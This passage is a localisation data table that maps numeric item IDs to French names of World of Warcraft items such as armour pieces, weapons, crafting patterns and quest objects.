soldat",[6549]="Cape de soldat",[6550]="Garde-poignets de soldat",[6551]="Bottes de soldat",[6552]="Tunique de barde",[6553]="Chausses de barde",[6554]="Gants de barde",[6555]="Cape de barde",[6556]="Brassards de barde",[6557]="Bottes de barde",[6558]="Ceinture de barde",[6559]="Targe de barde",[6560]="Bouclier de soldat",[6561]="Gambison de voyant",[6562]="Bottes chatoyantes",[6563]="Brassards chatoyants",[6564]="Cape chatoyante",[6565]="Gants chatoyants",[6566]="Amict chatoyant",[6567]="Armure chatoyante",[6568]="Chausses chatoyantes",[6569]="Robe chatoyante",[6570]="Echarpe chatoyante",[6571]="Targe de l\'éclaireur",[6572]="Bouclier de défenseur",[6573]="Bottes de défenseur",[6574]="Brassards de défenseur",[6575]="Cape de défenseur",[6576]="Ceinturon de défenseur",[6577]="Gantelets de défenseur",[6578]="Jambières de défenseur",[6579]="Spallières de défenseur",[6580]="Tunique de défenseur",[6581]="Ceinture de l\'éclaireur",[6582]="Bottes de l\'éclaireur",[6583]="Brassards de l\'éclaireur",[6584]="Tunique de l\'éclaireur",[6585]="Cape de l\'éclaireur",[6586]="Gants de l\'éclaireur",[6587]="Chausses de l\'éclaireur",[6588]="Spallières de l\'éclaireur",[6590]="Bottes de forgeguerre",[6591]="Garde-poignets de forgeguerre",[6592]="Armure de forgeguerre",[6593]="Cape de forgeguerre",[6594]="Ceinturon de forgeguerre",[6595]="Gantelets de forgeguerre",[6596]="Garde-jambes de forgeguerre",[6597]="Garde-épaules de forgeguerre",[6598]="Targe de derviche",[6599]="Bouclier de forgeguerre",[6600]="Ceinture de derviche",[6601]="Bottes de derviche",[6602]="Brassards de derviche",[6603]="Tunique de derviche",[6604]="Cape de derviche",[6605]="Gants de derviche",[6607]="Jambières de derviche",[6608]="Armure éclatante",[6609]="Défroque de sage",[6610]="Robe de sage",[6611]="Echarpe de sage",[6612]="Bottes de sage",[6613]="Brassards de sage",[6614]="Cape de sage",[6615]="Gants de sage",[6616]="Pantalon de sage",[6617]="Mantelet de sage",[6618]="Monster - Orb",[6622]="Epée de zèle",[6624]="Breuvage de Ken\'zigla",[6625]="Pendentif couvert de poussière",[6626]="Pendentif de Dogran",[6627]="Cuirasse d\'écailles du mutant",[6628]="Serres du corbeau",[6629]="Cape des spores",[6630]="Targe sème-nuées",[6631]="Racine vivante",[6632]="Cape d\'écailles-faë",[6633]="Tranchoir du boucher",[6634]="Baume rituel",[6635]="Sapta de terre",[6636]="Sapta de feu",[6637]="Sapta d\'eau",[6640]="Sabot de traqueur gangrené",[6641]="Lame de hantise",[6642]="Armure fantôme",[6643]="Sardine boursouflée",[6645]="Lutjan boursouflé",[6647]="Poisson-chat boursouflé",[6651]="Bouteille de vin brisée",[6652]="Bourse de réactifs",[6653]="Torche de la flamme dormante",[6654]="Torche de la flamme éternelle",[6655]="Braise rougeoyante",[6656]="Quartz brut",[6657]="Délice de déviant",[6658]="Spécimen de collier",[6659]="Chausses du scarabée",[6660]="Dague de Julie",[6661]="Recette : Délice de déviant",[6662]="Elixir de taille de géant",[6663]="Recette : Elixir de taille de géant",[6664]="Mantelet vaudou",[6665]="Brassards maléficiés",[6666]="Bottes de boueux",[6667]="Cape d\'ingénieur",[6668]="Bottes de conscrit",[6669]="Bague sacrée",[6670]="Armure de la panthère",[6671]="Jambières du mastodonte",[6672]="Schéma : Bombe éclairante",[6675]="Brassards trempés",[6676]="Targe du connétable",[6677]="Baguette de sortilège",[6678]="Bague de grâce elfique",[6679]="Perce-armure",[6680]="Monster - Spear, Sharp Thin",[6681]="Fleur d\'épines",[6682]="Robe de nécrorateur",[6684]="Bâton de commandement de Sniffetarin",[6685]="Mantelet de nécrorateur",[6686]="Heaume du phacochère",[6687]="Charognarde",[6688]="Coiffure de Murmevent",[6689]="Bâton d\'esprit du vent",[6690]="Jambières de Ferine",[6691]="Surin de brochepourceau",[6692]="Déchireuse à crocs",[6693]="Anneau d\'Agamaggan",[6694]="Cœur d\'Agamaggan",[6695]="Amulette stygienne en os",[6696]="Arc de traqueur nocturne",[6697]="Mantelet d\'aile de chauve-souris",[6709]="Gilet lueur-de-lune",[6710]="Patron : Gilet Lueur-de-lune",[6712]="Boîte mécanique",[6713]="Pantalon déchiré",[6714]="Dynamite Ev-Lan",[6715]="Défibrillateur abîmé",[6716]="Schéma : Dynamite Ev-Lan",[6717]="Rouage électrique",[6718]="Electropeller",[6719]="Ceinture des vents",[6720]="Coiffure de chasseur d\'esprit",[6721]="Pansière de Kor",[6722]="Maniques bestiales",[6723]="Médaille de courage",[6725]="Targe marbrée",[6726]="Ceinture de sécurité personnalisée de Razzeric",[6727]="Gants de course de Razzeric",[6729]="Boutefeu de Féplouf",[6731]="Cuirasse de Forgefer",[6732]="Gants de mécanicien gnome",[6735]="Plans : Cuirasse de Forgefer",[6737]="Pantalon des feuilles sèches",[6738]="Croissant sanglant",[6739]="Visée de Cours-les-falaises",[6740]="Echarpe azur",[6741]="Epée de guerre orque",[6742]="Ceinturon Poing-de-pierre",[6743]="Anneau de soutien",[6744]="Gants de Kapelan",[6745]="Cape de vélocité",[6746]="Targe de basalte",[6747]="Espauliers de massacreur",[6748]="Anneau du singe",[6749]="Bague du tigre",[6750]="Arceau du serpent",[6751]="Châle de deuil",[6752]="Bottes de lancier",[6753]="Charme de plume",[6755]="Un petit coffre de gemmes",[6756]="Boîte de bijoux",[6757]="Chevalière de Jaina",[6766]="Peau de démon écorché (vieille2)",[6767]="Pendentif de Tyranis",[6773]="Cotte d\'anneaux de maraudeur gelkis",[6774]="Doigt d\'Uthek",[6775]="Tome de divinité",[6776]="Tome de valeur",[6780]="Echarpe lilas",[6781]="Tasse de Bartleby",[6782]="Ecusson du maréchal Haggard",[6783]="Clé de Dent-Morte",[6784]="Garde-mains à fermoir",[6785]="Puissance du Vide",[6786]="Jupe simple",[6787]="Robe blanche en laine",[6788]="Ceinture de chasseur de Magram",[6789]="Couverture de cérémonie centaure",[6790]="Anneau de calme",[6791]="Bottes d\'Hellion",[6792]="Espauliers sanguins",[6793]="Brassards d\'Auric",[6794]="Gantelets flamme-tempête",[6795]="Chemise blanche de bretteur",[6796]="Chemise rouge de bretteur",[6797]="Pique-œil",[6798]="Haquebute explosive",[6799]="Tête de Vejrek",[6800]="Minerai umbral",[6801]="Tablier baroque",[6802]="Epée de présage",[6803]="Canne du Prophète",[6804]="Marteau de Ventehurle",[6805]="Corne de Vorlus",[6806]="Flamme dansante",[6807]="Brouet de cuisses de grenouille",[6808]="Minerai d\'élunite",[6809]="Médaillon d\'Elura",[6810]="Foulard de Surena",[6811]="Oeil de poisson aquadynamique",[6812]="Caisse d\'Elunite",[6826]="Ecaille brillante",[6827]="Boîte de fournitures",[6828]="Targe du visionnaire",[6829]="Epée de sérénité",[6830]="Mordos",[6831]="Menace noire",[6832]="Cape du chancre",[6833]="Chemise blanche de smoking",[6834]="Smoking noir",[6835]="Pantalon de smoking noir",[6836]="Chaussures habillées",[6838]="Croc d\'araignée brûlé",[6839]="Corne carbonisée",[6840]="Corne galvanisée",[6841]="Fiole de Phlogiston",[6842]="Instructions de Furen",[6843]="Barrique de Scalder",[6844]="Sang ardent",[6845]="Roc ardent",[6846]="Script défias",[6847]="Document sombrefer",[6848]="Corail torride",[6849]="Coquille brûlée par le soleil",[6851]="Essence d\'exil",[6866]="Symbole de vie",[6886]="Monster - Throwing Knife",[6887]="Jaune-queue tacheté",[6888]="Oeufs aux herbes",[6889]="Petit œuf",[6890]="Viande d\'ours fumée",[6892]="Recette : Viande d\'ours fumée",[6893]="Clé d\'atelier",[6894]="Cœur de tourbillon",[6895]="Marteau de forge de Jordan",[6898]="Orbe de Soran\'ruk",[6900]="Robe sanglante dorée enchantée",[6901]="Cape luminescente du batteur",[6902]="Poignets de Serra\'kis",[6903]="Pantalon du rêveur",[6904]="Morsure de Serra\'kis",[6905]="Hache des récifs",[6906]="Poings d\'algues",[6907]="Armure de la tortue",[6908]="Lien de Ghamoo-ra",[6909]="Frappe de l\'hydre",[6910]="Pantalon de sangsue",[6911]="Cordelière de mousse",[6912]="Cœur du bois",[6913]="Noyau du cœur du bois",[6914]="Fragment de Soran\'ruk",[6915]="Grand fragment de Soran\'ruk",[6916]="Tome de divinité",[6926]="Notes de Furen",[6927]="Oreille du Grand Will",[6928]="Echarpe de pierre de sang",[6929]="Parchemin de Bath\'rah",[6930]="Bâtonnet de canalisation",[6931]="Tome moisi",[6947]="Poison instantané",[6948]="Pierre de foyer",[6949]="Poison instantané",[6950]="Poison instantané",[6951]="Poison de distraction mentale",[6952]="Fourrure d\'ours épaisse",[6953]="Poing de Verigan",[6966]="Hache en élunite",[6967]="Epée en élunite",[6968]="Marteau en élunite",[6969]="Dague en élunite",[6970]="Faveur de Furen",[6971]="Camail en acier trempé",[6972]="Haubert en acier trempé",[6973]="Jambières en acier trempé",[6974]="Gantelets en acier trempé",[6975]="Hache du tourbillon",[6976]="Marteau de guerre du tourbillon",[6977]="Epée du tourbillon",[6978]="Hache umbrale",[6979]="Hache de Haggard",[6980]="Dague de Haggard",[6981]="Dague umbrale",[6982]="Masse umbrale",[6983]="Marteau d\'Haggard",[6984]="Epée umbrale",[6985]="Epée de Haggard",[6986]="Lotus cramoisi",[6987]="Ecaille de poisson",[6989]="Fiole de sang de Fielfurie",[6990]="Pierre d\'Infernal inférieure",[6991]="Charbon ardent",[6992]="Cargaison de minerai de Jordan",[6993]="Cargaison de minerai raffiné de Jordan",[6994]="Bois de chêne de blanchepierre",[6995]="Gemme de Kor corrompue",[6996]="Notes sur les armes de Jordan",[6997]="Manuscrit en lambeaux",[6998]="Bottes du nimbus",[6999]="Tome de la Cabale",[7000]="Ceinturon de cœur du bois",[7001]="Sceptre de la pierre tombale",[7002]="Targe arctique",[7003]="Pinces de hanneton",[7004]="Cape de prélat",[7005]="Couteau à dépecer",[7006]="Tome reconstitué",[7026]="Ceinture en lin",[7027]="Bottes des ténèbres",[7046]="Pantalon azur en soie",[7047]="Mains des ténèbres",[7048]="Chaperon azur en soie",[7049]="Gants de vraie foi",[7050]="Bandeau en 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Ceinture terrestre en soie",[7087]="Patron : Cape cramoisie en soie",[7088]="Patron : Robe cramoisie en soie",[7089]="Patron : Cape azur en soie",[7090]="Patron : Armure verte en soie",[7091]="Patron : Gants de vraie foi",[7092]="Patron : Mains des ténèbres",[7094]="Branche de bois flottant",[7095]="Bottes des tourbières",[7096]="Plume arrachée",[7097]="Viande de mollet",[7098]="Défense brisée",[7099]="Pinces endommagées",[7100]="Ichor gluant",[7101]="Oeil de bestiole",[7106]="Gants du zodiaque",[7107]="Ceinture des étoiles",[7108]="Bouclier d\'infanterie",[7109]="Targe de pionnier",[7110]="Armure brochée d\'argent",[7111]="Armure nocturne",[7112]="Armure de l\'aurore",[7113]="Armure de Longuebrume",[7114]="Patron : Gants azur en soie",[7115]="Hache de l\'héritier",[7116]="Dague de l\'héritier",[7117]="Marteau de l\'héritier",[7118]="Epée de l\'héritier",[7119]="Antenne mobile",[7120]="Rempart de Ruga",[7126]="Lingot de fer cendré",[7127]="Azurite en poudre",[7128]="Sabot fendu de satyre",[7129]="Gantelets de brutalité",[7130]="Camail de brutalité",[7131]="Tibia gueule-de-dragon",[7132]="Garde-jambes de brutalité",[7133]="Haubert de brutalité",[7134]="Solide tibia de Gueule-de-dragon",[7135]="Tibia de Gueule-de-dragon cassé",[7146]="La Clé écarlate",[7148]="Défibrillateur gobelin",[7166]="Dague en cuivre",[7189]="Bottes-fusées gobelines",[7190]="Bottes-fusée brûlées",[7191]="Câble avec fusible",[7206]="Echantillon d\'eau du lac Miroir",[7207]="Flacon de Jennea",[7208]="Clé de Tazan",[7209]="Sacoche de Tazan",[7226]="Bidulotron de youplala",[7227]="Gueules-de-loup de Balnir",[7228]="Glace à la fraise d\'Aguilor et Dagharn",[7229]="Broigne d\'explorateur",[7230]="Marteau de châtiment puissant",[7231]="Lettre d\'introduction d\'Astor",[7247]="Caisse de coffres de stockage",[7249]="Gemme chargée de la faille",[7266]="Traité d\'Ur sur la Magie des Ombres",[7267]="Soie d\'araignée en parfait état",[7268]="Echantillon d\'eau de Xavian",[7269]="Flacon de Deino",[7270]="Cadavre de sœur rieuse",[7271]="Défense d\'ivoire sans défaut",[7272]="Roncier de foudre",[7273]="Bâton totem de Fanécorce",[7274]="Rituels du Pouvoir",[7276]="Cape cousue main en cuir",[7277]="Brassards cousus main en cuir",[7278]="Carquois en cuir léger",[7279]="Petite giberne en cuir",[7280]="Pantalon en cuir robuste",[7281]="Brassards en cuir léger",[7282]="Pantalon en cuir léger",[7283]="Cape de dragonnet noir",[7284]="Gants en cuir de dragonnet rouge",[7285]="Gants d\'agilité en cuir",[7286]="Ecaille de dragonnet noir",[7287]="Ecaille de dragonnet rouge",[7288]="Patron : Pantalon en cuir robuste",[7289]="Patron : Cape de dragonnet noir",[7290]="Patron : Gants en cuir de dragonnet rouge",[7291]="Orbe infernal",[7292]="Coffre de stockage rempli",[7293]="Gemme de mana de Dalaran",[7294]="Grand Livre d\'Andron",[7295]="Journal des messages de Tazan",[7296]="Torche éteinte",[7297]="Fléau de Morbent",[7298]="Lame de ruse",[7306]="Tête de Fenwick",[7307]="Ver mangeur de chair",[7308]="Chants de manifestation",[7309]="Rapport de situation de Dalaran",[7326]="Hache de Thun\'grim",[7327]="Dague de Thun\'grim",[7328]="Masse de Thun\'grim",[7329]="Epée de Thun\'grim",[7330]="Targe d\'infiltrateur",[7331]="Bouclier de la phalange",[7332]="Armure régalienne",[7333]="Sifflet de surveillant",[7334]="Robe efflorescente",[7335]="Tunique du grizzly",[7336]="Cotte d\'anneaux forestière",[7337]="Le Rocher",[7338]="Anneau changeant",[7339]="Anneau à minuscule diamant",[7340]="Solitaire sans défaut",[7341]="Anneau cubique de Zirconia",[7342]="Bague de Piffeny en argent",[7343]="Clé de Bingles",[7344]="Torche de la sainte flamme",[7345]="Tournevis de Bingles",[7346]="Marteau de Bingles",[7348]="Gants de fléchier",[7349]="Gants d\'herboriste",[7350]="Brassards de disciple",[7351]="Bottes de disciple",[7352]="Epaulières terrestres en cuir",[7353]="Gambison de doyen",[7354]="Bottes de doyen",[7355]="Brassards de doyen",[7356]="Cape de doyen",[7357]="Chapeau de doyen",[7358]="Gants de chapardeur",[7359]="Gants terrestres lourds",[7360]="Patron : Gants noirs en cuir",[7361]="Patron : Gants d\'herboriste",[7362]="Patron : Epaulières terrestres en cuir",[7363]="Patron : Gants de chapardeur",[7364]="Patron : Gants terrestres lourds",[7365]="Indicateur Gnoam",[7366]="Gants de doyen",[7367]="Mantelet de doyen",[7368]="Pantalon de doyen",[7369]="Robe de doyen",[7370]="Echarpe de doyen",[7371]="Carquois lourd",[7372]="Giberne en cuir lourd",[7373]="Jambières en cuir mat",[7374]="Armure en cuir mat",[7375]="Armure de dragonnet vert",[7376]="Capsuleur soufflant de Bingles",[7377]="Cape de givre en cuir",[7378]="Brassards mats",[7386]="Brassards de dragonnet vert",[7387]="Ceinture mate",[7389]="Livre de comptes de la KapitalRisk",[7390]="Bottes mates",[7391]="Bottes de rapidité",[7392]="Ecaille de dragonnet vert",[7406]="Corde d\'infiltrateur",[7407]="Armure d\'infiltrateur",[7408]="Epaulières d\'infiltrateur",[7409]="Bottes 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d\'opaline",[7552]="Serre de l\'épervier",[7553]="Bague de la licorne",[7554]="Branche de saule",[7555]="Etoile régalienne",[7556]="Orbe crépusculaire",[7557]="Bâtonnet de tulle",[7558]="Douve chatoyante",[7559]="Canne runique",[7560]="Schéma : Télécommande universelle gnome",[7561]="Schéma : Défibrillateur gobelin",[7566]="Epée de la famille Agamand",[7567]="Hache de la famille Agamand",[7568]="Dague de la famille Agamand",[7569]="Masse de la famille Agamand",[7586]="Espoir de Tharnariun",[7587]="Instructions de Thun\'grim",[7606]="Gantelets polaires",[7607]="Baguette de la martre",[7608]="Bock orné de voyant",[7609]="Bâton de doyen en ambre",[7610]="Sphère de l\'aurore",[7611]="Bâton de Longuebrume",[7612]="Monster - Axe, 2H Special NPC (Herod)",[7613]="Patron : Armure verte en cuir",[7626]="Ballot de fourrures",[7627]="Livraison de Dolanaar",[7628]="Lettre quelconque",[7629]="Fardeau d\'Ukor",[7646]="Caisse de ravitaillement de l\'auberge",[7666]="Collier brisé",[7667]="Flasque de divination de Talvash",[7668]="Journal maculé de sang",[7669]="Rubis de collier brisé",[7670]="Saphir de collier brisé",[7671]="Topaze de collier brisé",[7672]="Source d\'énergie du collier brisé",[7673]="Collier d\'amélioration de Talvash",[7674]="Livraison pour Mathias",[7675]="Programme d\'embarquement",[7676]="Thé de chardon",[7678]="Recette : Thé de chardon",[7679]="Croc de chauve-souris grièche",[7680]="Ecaille de basilic jadéchine",[7682]="Tisonnier de torture",[7683]="Coup de poing sanglant en laiton",[7684]="Mantelet de mage de sang",[7685]="Orbe du Prophète oublié",[7686]="Oeil d\'échine-de-fer",[7687]="Poing d\'échine-de-fer",[7688]="Thorax d\'échine-de-fer",[7689]="Aube morbide",[7690]="Cestes d\'ébène",[7691]="Voile embaumé",[7706]="Monster - Mace2H, Special NPC (Mograine)",[7708]="Baguette nécrotique",[7709]="Jambières flétries",[7710]="Trique d\'entraînement de Loksey",[7711]="Robe de Doan",[7712]="Mantelet de Doan",[7713]="Perche illusoire",[7714]="Lame hypnotique",[7715]="Rapport d\'Onin",[7717]="Ravageuse",[7718]="Epaulière d\'Hérode",[7719]="Heaume du berserker déchaîné",[7720]="Chapeau de Blanchetête",[7721]="Main de la droiture",[7722]="Amulette de Triune",[7723]="Puissance de Mograine",[7724]="Gantelets de divinité",[7726]="Egide du commandant écarlate",[7727]="Espauliers de veilleur",[7728]="Robe de tromperie",[7729]="Mousquet Chasse-peau",[7730]="Ecraseur de cobalt",[7731]="Talisman d\'éclat fantôme",[7733]="Bâton de la préhistoire",[7734]="Sac des six démons",[7735]="Rose de Jannok",[7736]="Massue de combat",[7737]="Journal de Sethir",[7738]="Gants résineux",[7739]="Cape de bûcheron",[7740]="Médaillon de Gni\'kiv",[7741]="La Hampe de Tsol",[7742]="Schéma : Système d\'occultation gnome",[7746]="Recommandation de la Ligue des explorateurs",[7747]="Vil Protecteur",[7748]="Targe de la pierre de force",[7749]="Orbe Oméga",[7750]="Mantelet de malédiction",[7751]="Bottes de Vorrel",[7752]="Tueuse-de-rêve",[7753]="Trucidante",[7754]="Bottes d\'annonciateur",[7755]="Epaulières de silex",[7756]="Gants de dressage de chien",[7757]="Bâton de Tissevent",[7758]="Godandac impitoyable",[7759]="Plastron d\'archonte",[7760]="Kilt de chef de guerre",[7761]="Déchireuse griffe-d\'acier",[7766]="Outre marron vide",[7767]="Outre bleue vide",[7768]="Outre rouge vide",[7769]="Outre marron remplie",[7770]="Outre bleue remplie",[7771]="Outre rouge remplie",[7786]="Fend-la-tête",[7787]="Gardien resplendissant",[7806]="Sucette",[7807]="Barre de chocolat",[7808]="Carré de chocolat",[7809]="Robe de Pâques",[7810]="Fiole d\'eau pure",[7811]="Restes d\'eau pure",[7812]="Bracelets de manifestation corrompue",[7813]="Eclat d\'eau",[7826]="Monster - Staff, Special NPC (Whitemane)",[7846]="Croc de coyote des rochers",[7847]="Gésier de busard",[7848]="Fragment d\'élémentaire de roche",[7866]="Récipient thaumaturgique vide",[7867]="Récipient de sang du dragon",[7870]="Coffret thaumartugique",[7871]="Gage de voleur",[7886]="Journal non traduit",[7887]="Gemmes et collier récupérés",[7888]="Collier d\'amélioration de Jarkal",[7906]="Cornes de Nez\'ra",[7907]="Certificat des voleurs",[7908]="Journal de Klaven Morteveille",[7909]="Aigue-marine",[7910]="Rubis étoilé",[7911]="Minerai de vrai-argent",[7912]="Pierre solide",[7913]="Epaulières barbares en fer",[7914]="Cuirasse barbare en fer",[7915]="Casque barbare en fer",[7916]="Bottes barbares en fer",[7917]="Gants barbares en fer",[7918]="Epaulières lourdes en mithril",[7919]="Gantelets lourds en mithril",[7920]="Pantalon en écailles de mithril",[7921]="Pantalon lourd en mithril",[7922]="Heaume en plaques d\'acier",[7923]="Clé de la tour défias",[7924]="Brassards en écailles de mithril",[7926]="Pantalon orné en mithril",[7927]="Gants ornés en mithril",[7928]="Epaulières ornées en mithril",[7929]="Jambières de guerre orques",[7930]="Cuirasse lourde en mithril",[7931]="Camail en mithril",[7932]="Epaulières en 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non-mort",[7973]="Palourde à large bouche",[7974]="Chair de palourde piquante",[7975]="Plans : Pantalon lourd en mithril",[7976]="Plans : Pointe de bouclier en mithril",[7978]="Plans : Epaulières barbares en fer",[7979]="Plans : Cuirasse barbare en fer",[7980]="Plans : Casque barbare en fer",[7981]="Plans : Bottes barbares en fer",[7982]="Plans : Gants barbares en fer",[7983]="Plans : Pantalon orné en mithril",[7984]="Plans : Gants ornés en mithril",[7985]="Plans : Epaulières ornées en mithril",[7989]="Plans : Eperons en mithril",[7990]="Plans : Heaume lourd en mithril",[7991]="Plans : Epaulières en écailles de mithril",[7992]="Plans : Hache lumineuse bleue",[7993]="Plans : Rapière éblouissante en mithril",[7995]="Plans : Brassards en écailles de mithril",[7996]="Chapeau de pêcheur usé",[7997]="Masque rouge de Défias",[8006]="Le Ziggler",[8007]="Citrine de mana",[8008]="Rubis de mana",[8009]="Pierre de puissance Dentrium",[8026]="Trésor de la famille Garrett",[8027]="Trésor de Krom Rudebras",[8028]="Plans : Marteau runique en mithril",[8029]="Plans : Lame pernicieuse en mithril",[8030]="Plans : Coutelas d\'ébène",[8046]="Journal de Kearnen",[8047]="Champignon magenta",[8048]="Capturêve d\'émeraude",[8049]="Collier pin-tordu",[8050]="Joyau de Tallonkai",[8051]="Lance-fusée",[8052]="Pierre de puissance An\'Alleum",[8053]="Source d\'énergie en obsidienne",[8066]="Sifflet de Fizzule",[8067]="Balle légère fabriquée",[8068]="Balle lourde fabriquée",[8069]="Balle dure fabriquée",[8070]="Bon de récompense",[8071]="Badine grésillante",[8072]="Clé de la tour de Silixiz",[8073]="Cache de mixture altérée de Zanzil",[8074]="Tête de Bisbiwix",[8075]="Pain de route invoqué",[8076]="Pain au lait invoqué",[8077]="Eau minérale invoquée",[8078]="Eau pétillante invoquée",[8079]="Eau cristalline invoquée",[8080]="Plastron en plaques légères",[8081]="Ceinture en plaques légères",[8082]="Bottes en plaques légères",[8083]="Brassards en plaques légères",[8084]="Gantelets en plaques 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tortue",[8168]="Plume noire",[8169]="Peau épaisse",[8170]="Cuir robuste",[8171]="Peau robuste",[8172]="Peau épaisse traitée",[8173]="Renfort d\'armure épais",[8174]="Chapeau de cuir confortable",[8175]="Tunique de la nuit",[8176]="Bandeau de la nuit",[8177]="Epée d\'exercice",[8178]="Epée d\'entraînement",[8179]="Arc de cadet",[8180]="Arc de chasse",[8181]="Carabine de chasse",[8182]="Carabine à plomb",[8183]="Arc précis",[8184]="Boute-flammes",[8185]="Jambières en écailles de tortue",[8186]="Baguette redoutable",[8187]="Gants en écailles de tortue",[8188]="Fusil explosif",[8189]="Cuirasse en écailles de tortue",[8190]="Epée de Hanzo",[8191]="Casque en écailles de tortue",[8192]="Epaulières de la nuit",[8193]="Pantalon de la nuit",[8194]="Casse-noisettes gobelin",[8196]="Cimeterre d\'ébène",[8197]="Bottes de la nuit",[8198]="Brassards en écailles de tortue",[8199]="Destructeur de bataille",[8200]="Robe du grand vaudou",[8201]="Masque du grand vaudou",[8202]="Pantalon du grand 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: Brassards armés du scorpide",[8398]="Patron : Gants armés du scorpide",[8399]="Patron : Bottes armées du scorpide",[8400]="Patron : Epaulières armées du scorpide",[8401]="Patron : Jambières armées du scorpide",[8402]="Patron : Casque armé du scorpide",[8403]="Patron : Epaulières en cuir fauve",[8404]="Patron : Gilet en cuir fauve",[8405]="Patron : Casque en cuir fauve",[8406]="Patron : Bottes en cuir fauve",[8407]="Patron : Jambières en cuir fauve",[8408]="Patron : Cape en cuir fauve",[8409]="Patron : Epaulières de la nuit",[8410]="R.O.I.D.S.",[8411]="Cocktail de jus de poumon",[8412]="Poudre de scorpok terrestre",[8423]="Potion de cortex cérébral",[8424]="Gomme de gésier",[8425]="Fiente de perroquet",[8426]="Grande plume ébouriffée",[8427]="Carcasse de rat mutilée",[8428]="Glande à rosée remplie",[8429]="Glande à rosée éclatée",[8430]="Glande à rosée vide",[8431]="Bobine de fil de soie chartreuse",[8432]="Eau de Mixilpixil",[8443]="Ornement en gahz\'ridienne",[8444]="Clé du bourreau",[8463]="Ordres du chef de guerre",[8483]="Outre de Bat-le-désert",[8484]="Paquet de la Cie des eaux de Gadgetzan",[8485]="Panier à chat (Bombay)",[8486]="Panier à chat (Cornouailles)",[8487]="Panier à chat (tigré orange)",[8488]="Panier à chat (tigré argent)",[8489]="Panier à chat (chaton blanc)",[8490]="Panier à chat (siamois)",[8491]="Panier à chat (tigré noir)",[8492]="Cage de perroquet (ara aile verte)",[8494]="Cage de perroquet (ara jacinthe)",[8495]="Cage de perroquet (sénégal)",[8496]="Cage de perroquet (cockatiel)",[8497]="Caisse de lapin (patte-blanche)",[8498]="Minuscule jeune dragonnet d\'émeraude",[8499]="Minuscule jeune dragonnet cramoisi",[8500]="Grande chouette cornue",[8501]="Chouette-faucon",[8508]="Grand aileron",[8523]="Trousse d\'analyse de terrain",[8524]="Source d\'énergie modèle 4711-FTZ",[8525]="Commande de Zinge",[8526]="Tragan pourpre",[8527]="Trousse d\'analyse de terrain verrouillée",[8528]="Poudre violette",[8529]="Elixir Brouillecaboche",[8544]="Bandage en tisse-mage",[8545]="Bandage épais en tisse-mage",[8548]="Bâtonnet divino-matic",[8563]="Mécanotrotteur rouge",[8564]="Oeuf d\'hippogriffe",[8584]="Fiole de sourcier vide",[8585]="Fiole de sourcier pleine",[8586]="Sifflet de raptor rouge tacheté",[8587]="Morceaux d\'insecte Centipaar",[8588]="Sifflet de raptor émeraude",[8591]="Sifflet de raptor turquoise",[8592]="Sifflet de raptor violet",[8593]="Equipement d\'analyse de Scrimshank",[8594]="Rapport d\'analyse d\'insecte",[8595]="Mécanotrotteur bleu",[8603]="Rosée des chardonniers",[8623]="Balise de détresse OOX-17/TN",[8624]="Cierge magique rouge",[8625]="Cierge magique blanc",[8626]="Cierge magique bleu",[8628]="Rênes de sabre-de-nuit tacheté",[8629]="Rênes de sabre-de-nuit rayé",[8631]="Rênes de sabre-de-givre rayé",[8632]="Rênes de sabre-de-givre tacheté",[8643]="Oeuf extraordinaire",[8644]="Bel œuf",[8645]="Oeuf ordinaire",[8646]="Oeuf pourri",[8647]="Caisse d\'œufs",[8663]="Insigne en mithril",[8683]="Pomme fraîche de Clara",[8684]="Houle au miel des Hinterlands",[8685]="Livraison de Houle de Dran",[8686]="Pendentif en mithril",[8687]="Description scellée du visiteur de Thredd",[8703]="Chevalière d\'expertise",[8704]="Balise de détresse OOX-09/HL",[8705]="Balise de détresse OOX-22/FE",[8707]="Ecaille électrique de Gahz\'rilla",[8708]="Marteau d\'expertise",[8723]="Tête de Caliph Dard-de-Scorpide",[8724]="Secret de Rin\'ji",[8746]="Capuche entrelacée",[8747]="Casque en cuir durci",[8748]="Camail doublentin",[8749]="Chapeau en crochet",[8750]="Casque en cuir épais",[8751]="Camail en anneaux doubliers",[8752]="Diadème en écailles laminées",[8753]="Casque en cuir lisse",[8754]="Capuche sergée",[8755]="Heaume en plaques légères",[8766]="Soupe de rosée matinale",[8827]="Elixir de marche sur l\'eau",[8831]="Lotus pourpre",[8836]="Larmes d\'Arthas",[8838]="Soleillette",[8839]="Aveuglette",[8845]="Champignon fantôme",[8846]="Gromsang",[8923]="Essence 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Samha",[9258]="Essence Byltan",[9259]="Collier tribal troll",[9260]="Rhum explosif",[9261]="Minerai de plomb",[9262]="Vitriol noir",[9263]="Bâton de Troyas",[9264]="Elixir de puissance de l\'Ombre",[9265]="Trésor caché de Cuergo",[9266]="Plans de bataille des Griffebois",[9275]="Clé de Cuergo",[9276]="Coffre de pirate",[9277]="Mémoire de Techbot",[9278]="Cerveau mécanique",[9279]="Carte perforée blanche",[9280]="Carte perforée jaune",[9281]="Carte perforée rouge",[9282]="Carte perforée bleue",[9283]="Flasque plombée vide",[9284]="Flasque plombée lourde remplie",[9285]="Protège-bras de guerre en plaques",[9286]="Armure de plaques de guerre",[9287]="Gantelets de guerre en plaques",[9288]="Ceinturon de guerre en plaques",[9289]="Bottes de guerre en plaques",[9290]="Heaume de guerre en plaques",[9291]="Jambières de guerre en plaques",[9292]="Espauliers de guerre en plaques",[9293]="Recette : Potion de résistance à la magie",[9294]="Recette : Potion de sauvageonne",[9295]="Recette : Potion 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diabolique",[9476]="Grands méchants espauliers",[9477]="Massacreur du chef",[9478]="Fendrescie",[9479]="Etreinte du lycan",[9480]="Arrache-yeux",[9481]="Le Minotaure",[9482]="Canne de féticheur",[9483]="Incinérateur flamboyant",[9484]="Jambières des horions",[9485]="Vibrolame",[9486]="Hache d\'armes renforcée",[9487]="Super-fusil high-tech",[9488]="Marteau oscillant",[9489]="Glacificateur gyromatique",[9490]="Couperet bidulotronique",[9491]="Gants de l\'as des as",[9492]="Réactivateur de gigaflux électromagnétique",[9507]="Caisse soigneusement empaquetée",[9508]="Salopette de mécabâtisseur",[9509]="Jambières pétrolifères",[9510]="Cothurnes des cavernes",[9511]="Scalpel de saigneur",[9512]="Cape de métal-noir",[9513]="Bâton tellurique",[9514]="Bâton des Arcanes",[9515]="Tunique du Néant",[9516]="Chemisette du nœud astral",[9517]="Bâton céleste",[9518]="Presse-boue",[9519]="Croquenots de Piessale",[9520]="Chasseur silencieux",[9521]="Fend-le-crâne",[9522]="Cercle de pierres énergisé",[9523]="Agent durcissant troll",[9527]="Perche changesort",[9528]="Cœur noir d\'Edana",[9530]="Cor de Serrehaine",[9531]="Espauliers de schiste précieux",[9533]="Anneau de la fraternité des 